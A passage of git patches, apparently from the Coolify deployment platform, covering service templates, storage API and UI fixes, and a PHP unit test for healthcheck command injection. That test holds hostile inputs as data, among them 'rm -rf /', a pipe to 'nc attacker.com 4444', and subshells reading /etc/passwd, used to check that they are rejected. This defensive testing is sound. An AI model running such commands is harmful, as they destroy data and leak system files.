cwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAxMAogIHNlYXdlZWRmcy1hZG1pbjoKICAgIGltYWdlOiAnY2hyaXNsdXNmL3NlYXdlZWRmczo0LjA1JwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX0FETUlOXzIzNjQ2CiAgICAgIC0gJ1NFQVdFRURfVVNFUl9BRE1JTj0ke1NFUlZJQ0VfVVNFUl9BRE1JTn0nCiAgICAgIC0gJ1NFQVdFRURfUEFTU1dPUkRfQURNSU49JHtTRVJWSUNFX1BBU1NXT1JEX0FETUlOfScKICAgIGNvbW1hbmQ6CiAgICAgIC0gYWRtaW4KICAgICAgLSAnLW1hc3Rlcj1zZWF3ZWVkZnMtbWFzdGVyOjkzMzMnCiAgICAgIC0gJy1hZG1pblVzZXI9JHtTRUFXRUVEX1VTRVJfQURNSU59JwogICAgICAtICctYWRtaW5QYXNzd29yZD0ke1NFQVdFRURfUEFTU1dPUkRfQURNSU59JwogICAgICAtICctcG9ydD0yMzY0NicKICAgICAgLSAnLWRhdGFEaXI9L2RhdGEnCiAgICB2b2x1bWVzOgogICAgICAtICdzZWF3ZWVkZnMtYWRtaW4tZGF0YTovZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAnd2dldCAtLXNwaWRlciAtcSBodHRwOi8vMC4wLjAuMDoyMzY0NjsgWyAkJD8gLWxlIDggXScKICAgICAgaW50ZXJ2YWw6IDEwcwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAxMAogICAgZGVwZW5kc19vbjoKICAgICAgc2Vhd2VlZGZzLW1hc3RlcjoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQo=", + "compose": "c2VydmljZXM6CiAgc2Vhd2VlZGZzLW1hc3RlcjoKICAgIGltYWdlOiAnY2hyaXNsdXNmL3NlYXdlZWRmczo0LjEzJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX1MzXzgzMzMKICAgICAgLSAnQVdTX0FDQ0VTU19LRVlfSUQ9JHtTRVJWSUNFX1VTRVJfUzN9JwogICAgICAtICdBV1NfU0VDUkVUX0FDQ0VTU19LRVk9JHtTRVJWSUNFX1BBU1NXT1JEX1MzfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3NlYXdlZWRmcy1zMy1kYXRhOi9kYXRhJwogICAgICAtCiAgICAgICAgdHlwZTogYmluZAogICAgICAgIHNvdXJjZTogLi9iYXNlLWNvbmZpZy5qc29uCiAgICAgICAgdGFyZ2V0OiAvYmFzZS1jb25maWcuanNvbgogICAgICAgIGNvbnRlbnQ6ICJ7XG4gIFwiaWRlbnRpdGllc1wiOiBbXG4gICAge1xuICAgICAgXCJuYW1lXCI6IFwiYW5vbnltb3VzXCIsXG4gICAgICBcImFjdGlvbnNcIjogW1xuICAgICAgICBcIlJlYWRcIlxuICAgICAgXVxuICAgIH0sXG4gICAge1xuICAgICAgXCJuYW1lXCI6IFwiYWRtaW5cIixcbiAgICAgIFwiY3JlZGVudGlhbHNcIjogW1xuICAgICAgICB7XG4gICAgICAgICAgXCJhY2Nlc3NLZXlcIjogXCJlbnY6QVdTX0FDQ0VTU19LRVlfSURcIixcbiAgICAgICAgICBcInNlY3JldEtleVwiOiBcImVudjpBV1NfU0VDUkVUX0FDQ0VTU19LRVlcIlxuICAgICAgICB9XG4gICAgICBdLFxuICAgICAgXCJhY3Rpb25zXCI6IFtcbiAgICAgICAgXCJBZG1pblwiLFxuICAgICAgICBcIlJlYWRcIixcbiAgICAgICAgXCJSZWFkQWNwXCIsXG4gICAgICAgIFwiTGlzdFwiLFxuICAgICAgICBcIlRhZ2dpbmdcIixcbiAgICAgICAgXCJXcml0ZVwiLFxuICAgICAgICBcIldyaXRlQWNwXCJcbiAgICAgIF1cbiAgICB9XG4gIF1cbn1cbiIKICAgIGVudHJ5cG9pbnQ6ICJzaCAtYyAnXFxcbnNlZCBcInMvZW52OkFXU19BQ0NFU1NfS0VZX0lELyRBV1NfQUNDRVNTX0tFWV9JRC9nXCIgL2Jhc2UtY29uZmlnLmpzb24gPiAvYmFzZTEtY29uZmlnLmpzb247IFxcXG5zZWQgXCJzL2VudjpBV1NfU0VDUkVUX0FDQ0VTU19LRVkvJEFXU19TRUNSRVRfQUNDRVNTX0tFWS9nXCIgL2Jhc2UxLWNvbmZpZy5qc29uID4gL2NvbmZpZy5qc29uOyBcXFxud2VlZCBzZXJ2ZXIgLWRpcj0vZGF0YSAtbWFzdGVyLnBvcnQ9OTMzMyAtczMgLXMzLnBvcnQ9ODMzMyAtczMuY29uZmlnPS9jb25maWcuanNvblxcXG4nXG4iCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3dnZXQgLS1zcGlkZXIgLXEgaHR0cDovLzAuMC4wLjA6ODMzMzsgWyAkJD8gLWxlIDggXScKICAgICAgaW50ZXJ2YWw6IDEwcwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAxMAogIHNlYXdlZWRmcy1hZG1pbjoKICAgIGltYWdlOiAnY2hyaXNsdXNmL3NlYXdlZWRmczo0LjEzJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX0FETUlOXzIzNjQ2CiAgICAgIC0gJ1NFQVdFRURfVVNFUl9BRE1JTj0ke1NFUlZJQ0VfVVNFUl9BRE1JTn0nCiAgICAgIC0gJ1NFQVdFRURfUEFTU1dPUkRfQURNSU49JHtTRVJWSUNFX1BBU1NXT1JEX0FETUlOfScKICAgIGNvbW1hbmQ6CiAgICAgIC0gYWRtaW4KICAgICAgLSAnLW1hc3Rlcj1zZWF3ZWVkZnMtbWFzdGVyOjkzMzMnCiAgICAgIC0gJy1hZG1pblVzZXI9JHtTRUFXRUVEX1VTRVJfQURNSU59JwogICAgICAtICctYWRtaW5QYXNzd29yZD0ke1NFQVdFRURfUEFTU1dPUkRfQURNSU59JwogICAgICAtICctcG9ydD0yMzY0NicKICAgICAgLSAnLWRhdGFEaXI9L2RhdGEnCiAgICB2b2x1bWVzOgogICAgICAtICdzZWF3ZWVkZnMtYWRtaW4tZGF0YTovZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAnd2dldCAtLXNwaWRlciAtcSBodHRwOi8vMC4wLjAuMDoyMzY0NjsgWyAkJD8gLWxlIDggXScKICAgICAgaW50ZXJ2YWw6IDEwcwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAxMAogICAgZGVwZW5kc19vbjoKICAgICAgc2Vhd2VlZGZzLW1hc3RlcjoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQo=", "tags": [ "object", "storage", diff --git a/tests/Unit/HealthCheckCommandInjectionTest.php b/tests/Unit/HealthCheckCommandInjectionTest.php index 534be700a..88361c3d9 100644 --- a/tests/Unit/HealthCheckCommandInjectionTest.php +++ b/tests/Unit/HealthCheckCommandInjectionTest.php @@ -5,6 +5,9 @@ use App\Models\ApplicationDeploymentQueue; use App\Models\ApplicationSetting; use Illuminate\Support\Facades\Validator; +use Tests\TestCase; + +uses(TestCase::class); beforeEach(function () { Mockery::close(); @@ -176,11 +179,11 @@ it('strips newlines from CMD healthcheck command', function () { $result = callGenerateHealthcheckCommands([ 'health_check_type' => 'cmd', - 'health_check_command' => "redis-cli ping\n&& echo pwned", + 'health_check_command' => "redis-cli\nping", ]); expect($result)->not->toContain("\n") - ->and($result)->toBe('redis-cli ping && echo pwned'); + ->and($result)->toBe('redis-cli ping'); }); it('falls back to HTTP healthcheck when CMD type has empty command', function () { @@ -193,6 +196,68 @@ expect($result)->toContain('curl -s -X'); }); +it('falls back to HTTP healthcheck when CMD command contains shell metacharacters', function () { + $result = callGenerateHealthcheckCommands([ + 'health_check_type' => 'cmd', + 'health_check_command' => 'curl localhost; rm -rf /', + ]); + + // Semicolons are blocked by runtime regex — falls back to HTTP healthcheck + expect($result)->toContain('curl -s -X') + ->and($result)->not->toContain('rm -rf'); +}); + +it('falls back to HTTP healthcheck when CMD command contains pipe operator', function () { + $result = callGenerateHealthcheckCommands([ + 'health_check_type' => 'cmd', + 'health_check_command' => 'echo test | nc attacker.com 4444', + ]); + + expect($result)->toContain('curl -s -X') + ->and($result)->not->toContain('nc attacker.com'); +}); + +it('falls back to HTTP healthcheck when CMD command contains subshell', function () { + $result = callGenerateHealthcheckCommands([ + 'health_check_type' => 'cmd', + 'health_check_command' => 'curl $(cat /etc/passwd)', + ]); + + expect($result)->toContain('curl -s -X') + ->and($result)->not->toContain('/etc/passwd'); +}); + +it('falls back to HTTP healthcheck when CMD command exceeds 1000 characters', function () { + $result = callGenerateHealthcheckCommands([ + 'health_check_type' => 'cmd', + 'health_check_command' => str_repeat('a', 1001), + ]); + + // Exceeds max length — falls back to HTTP healthcheck + expect($result)->toContain('curl -s -X'); +}); + +it('falls back to HTTP healthcheck when CMD command contains backticks', function () { + $result = callGenerateHealthcheckCommands([ + 'health_check_type' => 'cmd', + 'health_check_command' => 'curl `cat /etc/passwd`', + ]); + + expect($result)->toContain('curl -s -X') + ->and($result)->not->toContain('/etc/passwd'); +}); + +it('uses sanitized method in full_healthcheck_url display', function () { + $result = callGenerateHealthcheckCommands([ + 'health_check_method' => 'INVALID;evil', + 'health_check_host' => 'localhost', + ]); + + // Method should be sanitized to 'GET' (default) in both command and display + expect($result)->toContain("'GET'") + ->and($result)->not->toContain('evil'); +}); + it('validates healthCheckCommand rejects strings over 1000 characters', function () { $rules = [ 'healthCheckCommand' => 'nullable|string|max:1000', @@ -253,15 +318,20 @@ function callGenerateHealthcheckCommands(array $overrides = []): string $application->shouldReceive('getAttribute')->with('settings')->andReturn($settings); $deploymentQueue = Mockery::mock(ApplicationDeploymentQueue::class)->makePartial(); + $deploymentQueue->shouldReceive('addLogEntry')->andReturnNull(); $job = Mockery::mock(ApplicationDeploymentJob::class)->makePartial(); - $reflection = new ReflectionClass($job); + $reflection = new ReflectionClass(ApplicationDeploymentJob::class); $appProp = $reflection->getProperty('application'); $appProp->setAccessible(true); $appProp->setValue($job, $application); + $queueProp = $reflection->getProperty('application_deployment_queue'); + $queueProp->setAccessible(true); + $queueProp->setValue($job, $deploymentQueue); + $method = $reflection->getMethod('generate_healthcheck_commands'); $method->setAccessible(true); From c4279a6bcb008a05cb8934c77045e0f5a571a95d Mon Sep 17 00:00:00 2001 From: Taras Machyshyn Date: Mon, 16 Mar 2026 18:23:47 +0200 Subject: [PATCH 218/305] Define static versions --- templates/compose/espocrm.yaml | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/templates/compose/espocrm.yaml b/templates/compose/espocrm.yaml index 130562a78..6fec260c4 100644 --- a/templates/compose/espocrm.yaml +++ b/templates/compose/espocrm.yaml @@ -7,7 +7,7 @@ services: espocrm: - image: espocrm/espocrm:latest + image: espocrm/espocrm:9 environment: - SERVICE_URL_ESPOCRM - ESPOCRM_ADMIN_USERNAME=${ESPOCRM_ADMIN_USERNAME:-admin} @@ -31,7 +31,7 @@ services: condition: service_healthy espocrm-daemon: - image: espocrm/espocrm:latest + image: espocrm/espocrm:9 container_name: espocrm-daemon volumes: - espocrm:/var/www/html @@ -42,7 +42,7 @@ services: condition: service_healthy espocrm-websocket: - image: espocrm/espocrm:latest + image: espocrm/espocrm:9 container_name: espocrm-websocket environment: - SERVICE_URL_ESPOCRM_WEBSOCKET_8080 @@ -59,7 +59,7 @@ services: condition: service_healthy espocrm-db: - image: mariadb:latest + image: mariadb:11.8 environment: - MARIADB_DATABASE=${MARIADB_DATABASE:-espocrm} - MARIADB_USER=${SERVICE_USER_MARIADB} From 15d6de9f41b9f324f4144671044b6614d461ff9c Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Mon, 16 Mar 2026 21:10:00 +0100 Subject: [PATCH 219/305] fix(storages): hide PR suffix for services and fix instantSave logic - Restrict "Add suffix for PR deployments" checkbox to non-service resources in both shared and service file-storage views - Replace condition `is_preview_deployments_enabled` with `!$isService` for PR suffix visibility in storages/show.blade.php - Fix FileStorage::instantSave() to use authorize + syncData instead of delegating to submit(), preventing unintended side effects - Add $this->validate() to Storages/Show::instantSave() before saving - Add response content schemas to storages API OpenAPI annotations - Add additionalProperties: false to storage update request schema - Rewrite PreviewDeploymentBindMountTest with behavioral tests of addPreviewDeploymentSuffix instead of file-content inspection --- .../Api/ApplicationsController.php | 32 ++- app/Livewire/Project/Service/FileStorage.php | 6 +- app/Livewire/Project/Shared/Storages/Show.php | 3 +- openapi.json | 38 ++- openapi.yaml | 14 ++ .../project/service/file-storage.blade.php | 16 +- .../project/shared/storages/show.blade.php | 20 +- templates/service-templates-latest.json | 36 ++- templates/service-templates.json | 36 ++- tests/Unit/PreviewDeploymentBindMountTest.php | 223 ++++++++++++------ 10 files changed, 314 insertions(+), 110 deletions(-) diff --git a/app/Http/Controllers/Api/ApplicationsController.php b/app/Http/Controllers/Api/ApplicationsController.php index 6521ef7ba..6188651a1 100644 --- a/app/Http/Controllers/Api/ApplicationsController.php +++ b/app/Http/Controllers/Api/ApplicationsController.php @@ -18,6 +18,7 @@ use App\Rules\ValidGitBranch; use App\Rules\ValidGitRepositoryUrl; use App\Services\DockerImageParser; +use Illuminate\Http\JsonResponse; use Illuminate\Http\Request; use Illuminate\Support\Facades\Http; use Illuminate\Support\Facades\Validator; @@ -3944,6 +3945,12 @@ private function validateDataApplications(Request $request, Server $server) new OA\Response( response: 200, description: 'All storages by application UUID.', + content: new OA\JsonContent( + properties: [ + new OA\Property(property: 'persistent_storages', type: 'array', items: new OA\Items(type: 'object')), + new OA\Property(property: 'file_storages', type: 'array', items: new OA\Items(type: 'object')), + ], + ), ), new OA\Response( response: 401, @@ -3959,7 +3966,7 @@ private function validateDataApplications(Request $request, Server $server) ), ] )] - public function storages(Request $request) + public function storages(Request $request): JsonResponse { $teamId = getTeamIdFromToken(); if (is_null($teamId)) { @@ -4022,6 +4029,7 @@ public function storages(Request $request) 'host_path' => ['type' => 'string', 'nullable' => true, 'description' => 'The host path (persistent only, not allowed for read-only storages).'], 'content' => ['type' => 'string', 'nullable' => true, 'description' => 'The file content (file only, not allowed for read-only storages).'], ], + additionalProperties: false, ), ), ], @@ -4030,6 +4038,7 @@ public function storages(Request $request) new OA\Response( response: 200, description: 'Storage updated.', + content: new OA\JsonContent(type: 'object'), ), new OA\Response( response: 401, @@ -4043,9 +4052,13 @@ public function storages(Request $request) response: 404, ref: '#/components/responses/404', ), + new OA\Response( + response: 422, + ref: '#/components/responses/422', + ), ] )] - public function update_storage(Request $request) + public function update_storage(Request $request): JsonResponse { $teamId = getTeamIdFromToken(); @@ -4117,6 +4130,21 @@ public function update_storage(Request $request) ], 422); } + // Reject fields that don't apply to the given storage type + if (! $isReadOnly) { + $typeSpecificInvalidFields = $request->type === 'persistent' + ? array_intersect(['content'], array_keys($request->all())) + : array_intersect(['name', 'host_path'], array_keys($request->all())); + + if (! empty($typeSpecificInvalidFields)) { + return response()->json([ + 'message' => 'Validation failed.', + 'errors' => collect($typeSpecificInvalidFields) + ->mapWithKeys(fn ($field) => [$field => "Field '{$field}' is not valid for type '{$request->type}'."]), + ], 422); + } + } + // Always allowed if ($request->has('is_preview_suffix_enabled')) { $storage->is_preview_suffix_enabled = $request->is_preview_suffix_enabled; diff --git a/app/Livewire/Project/Service/FileStorage.php b/app/Livewire/Project/Service/FileStorage.php index 71da07eb0..844e37854 100644 --- a/app/Livewire/Project/Service/FileStorage.php +++ b/app/Livewire/Project/Service/FileStorage.php @@ -194,9 +194,11 @@ public function submit() } } - public function instantSave() + public function instantSave(): void { - $this->submit(); + $this->authorize('update', $this->resource); + $this->syncData(true); + $this->dispatch('success', 'File updated.'); } public function render() diff --git a/app/Livewire/Project/Shared/Storages/Show.php b/app/Livewire/Project/Shared/Storages/Show.php index 72b330845..eee5a0776 100644 --- a/app/Livewire/Project/Shared/Storages/Show.php +++ b/app/Livewire/Project/Shared/Storages/Show.php @@ -72,9 +72,10 @@ public function mount() $this->isReadOnly = $this->storage->shouldBeReadOnlyInUI(); } - public function instantSave() + public function instantSave(): void { $this->authorize('update', $this->resource); + $this->validate(); $this->syncData(true); $this->storage->save(); diff --git a/openapi.json b/openapi.json index d1dadcaf0..5477420ab 100644 --- a/openapi.json +++ b/openapi.json @@ -3463,7 +3463,28 @@ ], "responses": { "200": { - "description": "All storages by application UUID." + "description": "All storages by application UUID.", + "content": { + "application\/json": { + "schema": { + "properties": { + "persistent_storages": { + "type": "array", + "items": { + "type": "object" + } + }, + "file_storages": { + "type": "array", + "items": { + "type": "object" + } + } + }, + "type": "object" + } + } + } }, "401": { "$ref": "#\/components\/responses\/401" @@ -3545,14 +3566,22 @@ "description": "The file content (file only, not allowed for read-only storages)." } }, - "type": "object" + "type": "object", + "additionalProperties": false } } } }, "responses": { "200": { - "description": "Storage updated." + "description": "Storage updated.", + "content": { + "application\/json": { + "schema": { + "type": "object" + } + } + } }, "401": { "$ref": "#\/components\/responses\/401" @@ -3562,6 +3591,9 @@ }, "404": { "$ref": "#\/components\/responses\/404" + }, + "422": { + "$ref": "#\/components\/responses\/422" } }, "security": [ diff --git a/openapi.yaml b/openapi.yaml index 74af3aa13..dd03f9c42 100644 --- a/openapi.yaml +++ b/openapi.yaml @@ -2188,6 +2188,13 @@ paths: responses: '200': description: 'All storages by application UUID.' + content: + application/json: + schema: + properties: + persistent_storages: { type: array, items: { type: object } } + file_storages: { type: array, items: { type: object } } + type: object '401': $ref: '#/components/responses/401' '400': @@ -2246,15 +2253,22 @@ paths: nullable: true description: 'The file content (file only, not allowed for read-only storages).' type: object + additionalProperties: false responses: '200': description: 'Storage updated.' + content: + application/json: + schema: + type: object '401': $ref: '#/components/responses/401' '400': $ref: '#/components/responses/400' '404': $ref: '#/components/responses/404' + '422': + $ref: '#/components/responses/422' security: - bearerAuth: [] diff --git a/resources/views/livewire/project/service/file-storage.blade.php b/resources/views/livewire/project/service/file-storage.blade.php index 24612098b..4bd88d761 100644 --- a/resources/views/livewire/project/service/file-storage.blade.php +++ b/resources/views/livewire/project/service/file-storage.blade.php @@ -15,13 +15,15 @@
- @can('update', $resource) -
- -
- @endcan + @if ($resource instanceof \App\Models\Application) + @can('update', $resource) +
+ +
+ @endcan + @endif @if (!$isReadOnly) @can('update', $resource) diff --git a/resources/views/livewire/project/shared/storages/show.blade.php b/resources/views/livewire/project/shared/storages/show.blade.php index a3a486b92..7fc58000c 100644 --- a/resources/views/livewire/project/shared/storages/show.blade.php +++ b/resources/views/livewire/project/shared/storages/show.blade.php @@ -38,13 +38,15 @@ @endif - @can('update', $resource) -
- -
- @endcan + @if (!$isService) + @can('update', $resource) +
+ +
+ @endcan + @endif @else @can('update', $resource) @if ($isFirst) @@ -61,9 +63,9 @@ @endif - @if (data_get($resource, 'settings.is_preview_deployments_enabled')) + @if (!$isService)
-
diff --git a/templates/service-templates-latest.json b/templates/service-templates-latest.json index bc05073d1..f22a2ab53 100644 --- a/templates/service-templates-latest.json +++ b/templates/service-templates-latest.json @@ -818,7 +818,7 @@ "databasus": { "documentation": "https://databasus.com/installation?utm_source=coolify.io", "slogan": "Databasus is a free, open source and self-hosted tool to backup PostgreSQL, MySQL, and MongoDB.", - "compose": "c2VydmljZXM6CiAgZGF0YWJhc3VzOgogICAgaW1hZ2U6ICdkYXRhYmFzdXMvZGF0YWJhc3VzOnYyLjE4LjAnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9EQVRBQkFTVVNfNDAwNQogICAgdm9sdW1lczoKICAgICAgLSAnZGF0YWJhc3VzLWRhdGE6L2RhdGFiYXN1cy1kYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIHdnZXQKICAgICAgICAtICctcU8tJwogICAgICAgIC0gJ2h0dHA6Ly9sb2NhbGhvc3Q6NDAwNS9hcGkvdjEvc3lzdGVtL2hlYWx0aCcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiA1Cg==", + "compose": "c2VydmljZXM6CiAgZGF0YWJhc3VzOgogICAgaW1hZ2U6ICdkYXRhYmFzdXMvZGF0YWJhc3VzOnYzLjE2LjInCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9EQVRBQkFTVVNfNDAwNQogICAgdm9sdW1lczoKICAgICAgLSAnZGF0YWJhc3VzLWRhdGE6L2RhdGFiYXN1cy1kYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIHdnZXQKICAgICAgICAtICctcU8tJwogICAgICAgIC0gJ2h0dHA6Ly9sb2NhbGhvc3Q6NDAwNS9hcGkvdjEvc3lzdGVtL2hlYWx0aCcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiA1Cg==", "tags": [ "postgres", "mysql", @@ -1951,7 +1951,7 @@ "heyform": { "documentation": "https://docs.heyform.net/open-source/self-hosting?utm_source=coolify.io", "slogan": "Allows anyone to create engaging conversational forms for surveys, questionnaires, quizzes, and polls. No coding skills required.", - "compose": "c2VydmljZXM6CiAgaGV5Zm9ybToKICAgIGltYWdlOiAnaGV5Zm9ybS9jb21tdW5pdHktZWRpdGlvbjpsYXRlc3QnCiAgICB2b2x1bWVzOgogICAgICAtICdoZXlmb3JtLWFzc2V0czovYXBwL3N0YXRpYy91cGxvYWQnCiAgICBkZXBlbmRzX29uOgogICAgICBtb25nbzoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICBrZXlkYjoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9VUkxfSEVZRk9STV84MDAwCiAgICAgIC0gJ0FQUF9IT01FUEFHRV9VUkw9JHtTRVJWSUNFX1VSTF9IRVlGT1JNfScKICAgICAgLSAnU0VTU0lPTl9LRVk9JHtTRVJWSUNFX0JBU0U2NF82NF9TRVNTSU9OfScKICAgICAgLSAnRk9STV9FTkNSWVBUSU9OX0tFWT0ke1NFUlZJQ0VfQkFTRTY0XzY0X0ZPUk19JwogICAgICAtICdNT05HT19VUkk9bW9uZ29kYjovL21vbmdvOjI3MDE3L2hleWZvcm0nCiAgICAgIC0gUkVESVNfSE9TVD1rZXlkYgogICAgICAtIFJFRElTX1BPUlQ9NjM3OQogICAgICAtICdSRURJU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfS0VZREJ9JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICd3Z2V0IC1xTy0gaHR0cDovLzEyNy4wLjAuMTo4MDAwIHx8IGV4aXQgMScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDMKICBtb25nbzoKICAgIGltYWdlOiAncGVyY29uYS9wZXJjb25hLXNlcnZlci1tb25nb2RiOmxhdGVzdCcKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2hleWZvcm0tbW9uZ28tZGF0YTovZGF0YS9kYicKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAiZWNobyAnb2snID4gL2Rldi9udWxsIDI+JjEiCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAxMAogICAgICBzdGFydF9wZXJpb2Q6IDVzCiAga2V5ZGI6CiAgICBpbWFnZTogJ2VxYWxwaGEva2V5ZGI6bGF0ZXN0JwogICAgY29tbWFuZDogJ2tleWRiLXNlcnZlciAtLWFwcGVuZG9ubHkgeWVzJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ0tFWURCX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9LRVlEQn0nCiAgICB2b2x1bWVzOgogICAgICAtICdoZXlmb3JtLWtleWRiLWRhdGE6L2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0ga2V5ZGItY2xpCiAgICAgICAgLSAnLS1wYXNzJwogICAgICAgIC0gJyR7U0VSVklDRV9QQVNTV09SRF9LRVlEQn0nCiAgICAgICAgLSBwaW5nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAxMAogICAgICBzdGFydF9wZXJpb2Q6IDVzCg==", + "compose": "c2VydmljZXM6CiAgaGV5Zm9ybToKICAgIGltYWdlOiAnaGV5Zm9ybS9jb21tdW5pdHktZWRpdGlvbjpsYXRlc3QnCiAgICB2b2x1bWVzOgogICAgICAtICdoZXlmb3JtLWFzc2V0czovYXBwL3N0YXRpYy91cGxvYWQnCiAgICBkZXBlbmRzX29uOgogICAgICBtb25nbzoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICBrZXlkYjoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9VUkxfSEVZRk9STV85MTU3CiAgICAgIC0gJ0FQUF9IT01FUEFHRV9VUkw9JHtTRVJWSUNFX1VSTF9IRVlGT1JNfScKICAgICAgLSAnU0VTU0lPTl9LRVk9JHtTRVJWSUNFX0JBU0U2NF82NF9TRVNTSU9OfScKICAgICAgLSAnRk9STV9FTkNSWVBUSU9OX0tFWT0ke1NFUlZJQ0VfQkFTRTY0XzY0X0ZPUk19JwogICAgICAtICdNT05HT19VUkk9bW9uZ29kYjovL21vbmdvOjI3MDE3L2hleWZvcm0nCiAgICAgIC0gUkVESVNfSE9TVD1rZXlkYgogICAgICAtIFJFRElTX1BPUlQ9NjM3OQogICAgICAtICdSRURJU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfS0VZREJ9JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICd3Z2V0IC1xTy0gaHR0cDovLzEyNy4wLjAuMTo5MTU3IHx8IGV4aXQgMScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDMKICBtb25nbzoKICAgIGltYWdlOiAncGVyY29uYS9wZXJjb25hLXNlcnZlci1tb25nb2RiOmxhdGVzdCcKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2hleWZvcm0tbW9uZ28tZGF0YTovZGF0YS9kYicKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAiZWNobyAnb2snID4gL2Rldi9udWxsIDI+JjEiCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAxMAogICAgICBzdGFydF9wZXJpb2Q6IDVzCiAga2V5ZGI6CiAgICBpbWFnZTogJ2VxYWxwaGEva2V5ZGI6bGF0ZXN0JwogICAgY29tbWFuZDogJ2tleWRiLXNlcnZlciAtLWFwcGVuZG9ubHkgeWVzJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ0tFWURCX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9LRVlEQn0nCiAgICB2b2x1bWVzOgogICAgICAtICdoZXlmb3JtLWtleWRiLWRhdGE6L2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0ga2V5ZGItY2xpCiAgICAgICAgLSAnLS1wYXNzJwogICAgICAgIC0gJyR7U0VSVklDRV9QQVNTV09SRF9LRVlEQn0nCiAgICAgICAgLSBwaW5nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAxMAogICAgICBzdGFydF9wZXJpb2Q6IDVzCg==", "tags": [ "form", "builder", @@ -1965,7 +1965,7 @@ "category": "productivity", "logo": "svgs/heyform.svg", "minversion": "0.0.0", - "port": "8000" + "port": "9157" }, "homarr": { "documentation": "https://homarr.dev?utm_source=coolify.io", @@ -2041,6 +2041,21 @@ "minversion": "0.0.0", "port": "80" }, + "imgcompress": { + "documentation": "https://imgcompress.karimzouine.com?utm_source=coolify.io", + "slogan": "Offline image compression, conversion, and AI background removal for Docker homelabs.", + "compose": 